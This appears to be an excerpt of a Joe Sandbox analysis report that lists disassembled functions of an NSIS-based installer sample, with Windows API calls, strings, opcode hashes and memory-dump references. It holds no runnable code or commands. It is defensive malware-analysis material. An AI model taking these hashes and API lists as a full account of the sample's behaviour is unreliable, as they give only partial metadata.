String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,74DF2EE0,00405B1A,?,00437800,74DF2EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
